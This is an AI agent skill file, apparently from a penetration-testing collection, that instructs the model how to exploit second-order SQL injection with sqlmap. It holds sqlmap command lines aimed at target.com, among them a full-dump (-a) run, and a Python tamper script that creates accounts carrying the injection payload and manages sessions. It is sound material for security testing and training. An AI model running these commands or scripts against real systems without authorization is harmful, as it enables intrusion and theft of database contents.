Hacktricks-skills sqlmap-second-order-injection

How to exploit Second Order SQL Injection vulnerabilities using SQLMap. Use this skill whenever the user mentions second-order SQLi, stored SQL injection, SQLMap with --second-url or --second-req, or needs to chain multiple requests to exploit a SQL injection where the payload is saved in one request and executed in another. Also use when users need to create custom SQLMap tamper scripts for complex injection flows involving account creation, login sequences, or multi-step authentication.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap/SKILL.MD
source content

Second Order SQL Injection with SQLMap

This skill helps you exploit Second Order SQL Injection vulnerabilities using SQLMap. In second-order SQLi, the malicious payload is stored in one request and executed in a different request.

When to Use This Skill

Use this skill when:

  • You've identified a SQL injection point where the payload gets stored (e.g., in a database during registration)
  • The payload executes later when data is retrieved (e.g., viewing user details, profile pages)
  • You need to chain multiple HTTP requests to complete the exploitation
  • You need to create custom SQLMap tamper scripts for complex authentication flows

Basic Second Order SQLi with SQLMap

Simple Case: Two Requests

You need to provide:

  1. The request where the SQL injection payload is saved (e.g., registration, profile update)
  2. The request where the payload will be executed (e.g., viewing stored data)
# Get the SQL payload execution with a GET to a URL
sqlmap -r login.txt -p username --second-url "http://target.com/details.php"

# Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

Parameters explained:

  • -r login.txt
    : Request file containing the payload storage request
  • -p username
    : Parameter to inject the payload into
  • --second-url
    : URL where the stored payload will be executed
  • --second-req
    : Request file for the execution request (use when you need custom headers/methods)

Complex Second Order SQLi with Tamper Scripts

In many cases, the simple approach won't work because you need to perform additional actions between saving and executing the payload (e.g., create account, logout, login, view profile).

Using Custom Tamper Scripts

SQLMap tamper scripts execute before each injection attempt and must return a payload. You can use them to perform side effects like creating accounts or managing sessions.

Template tamper script (see

scripts/second-order-tamper-template.py
for a customizable version):

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def perform_setup_actions(payload):
    """
    Perform any actions needed before the injection attempt.
    This runs BEFORE each payload is tested.
    """
    proxies = {'http': 'http://127.0.0.1:8080'}
    cookies = {"PHPSESSID": "your-session-id"}
    
    # Example: Create account with payload in email field
    params = {"username": "testuser", "email": payload, "password": "password123"}
    url = "http://target.com/create.php"
    requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
    
    # Example: Logout
    url = "http://target.com/exit.php"
    requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    perform_setup_actions(payload)
    return payload  # Must return the payload (can be modified or unchanged)

Full SQLMap Command for Complex Flows

sqlmap \
  --tamper tamper.py \
  -r login.txt \
  -p email \
  --second-req second.txt \
  --proxy http://127.0.0.1:8080 \
  --prefix "a2344r3F'" \
  --technique=U \
  --dbms mysql \
  --union-char "DTEC" \
  -a

Parameter breakdown:

ParameterPurpose
--tamper tamper.py
Custom tamper script to run before each injection attempt
-r login.txt
Request file for payload storage
-p email
Target parameter for injection
--second-req second.txt
Request file for payload execution
--proxy
Proxy server (e.g., Burp Suite)
--technique=U
Force UNION-based injection technique
--dbms mysql
Specify database management system
--prefix
Known prefix to help detect injection point
--union-char
Custom UNION character for identification
-a
Dump all data (level 5, risk 3)

Workflow Guide

Step 1: Identify the Injection Points

  1. Storage point: Where does the payload get saved? (registration, profile update, comment form)
  2. Execution point: Where does the stored data get retrieved and displayed? (profile view, user details, comment display)

Step 2: Capture the Requests

Use Burp Suite or similar to capture:

  • Request 1 (storage): Save as
    login.txt
    or similar
  • Request 2 (execution): Save as
    second.txt
    or use
    --second-url

Step 3: Determine if You Need a Tamper Script

You need a tamper script if:

  • You must create an account with the payload before testing
  • You need to authenticate/logout between requests
  • The execution requires a specific session state
  • Multiple sequential actions are needed

You don't need a tamper script if:

  • The payload is stored and executed in a simple two-request flow
  • No additional authentication or state management is required

Step 4: Run SQLMap

Start with basic commands, then add complexity as needed:

# Start simple
sqlmap -r storage.txt -p parameter --second-url "http://target.com/execution"

# Add tamper if needed
sqlmap --tamper tamper.py -r storage.txt -p parameter --second-req execution.txt

# Add optimization hints
sqlmap --tamper tamper.py -r storage.txt -p parameter --second-req execution.txt --technique=U --dbms mysql

Common Scenarios

Scenario 1: Registration → Profile View

Flow:

  1. Register with SQLi payload in email field
  2. View profile page where email is displayed

Command:

sqlmap -r register.txt -p email --second-url "http://target.com/profile.php"

Scenario 2: Registration → Logout → Login → View Details

Flow:

  1. Create account with payload in email
  2. Logout
  3. Login with created account
  4. View user details page

Solution: Use custom tamper script (see template in

scripts/second-order-tamper-template.py
)

Scenario 3: Comment Form → Comment Display

Flow:

  1. Submit comment with SQLi payload
  2. View page where comments are displayed

Command:

sqlmap -r comment.txt -p comment_text --second-url "http://target.com/thread.php?id=123"

Tips and Best Practices

  1. Start simple: Try
    --second-url
    before creating custom tamper scripts
  2. Use proxies: Always route through Burp Suite (
    --proxy http://127.0.0.1:8080
    ) to inspect traffic
  3. Help SQLMap: Use
    --technique
    ,
    --dbms
    , and
    --prefix
    to reduce detection time
  4. Test tamper scripts: Verify your tamper script works independently before using with SQLMap
  5. Session management: Ensure cookies and sessions are properly handled in tamper scripts
  6. Rate limiting: Second-order attacks may be slower; use
    --delay
    if needed

Troubleshooting

IssueSolution
SQLMap doesn't detect injectionAdd
--prefix
with known prefix, try different
--technique
values
Tamper script not executingCheck
__priority__
is set, verify script is in SQLMap's tamper directory
Session issuesEnsure cookies are properly passed in tamper script and requests
Slow detectionAdd
--delay
parameter, reduce
--level
and
--risk
False positivesUse
--union-char
to help SQLMap identify the injection point

References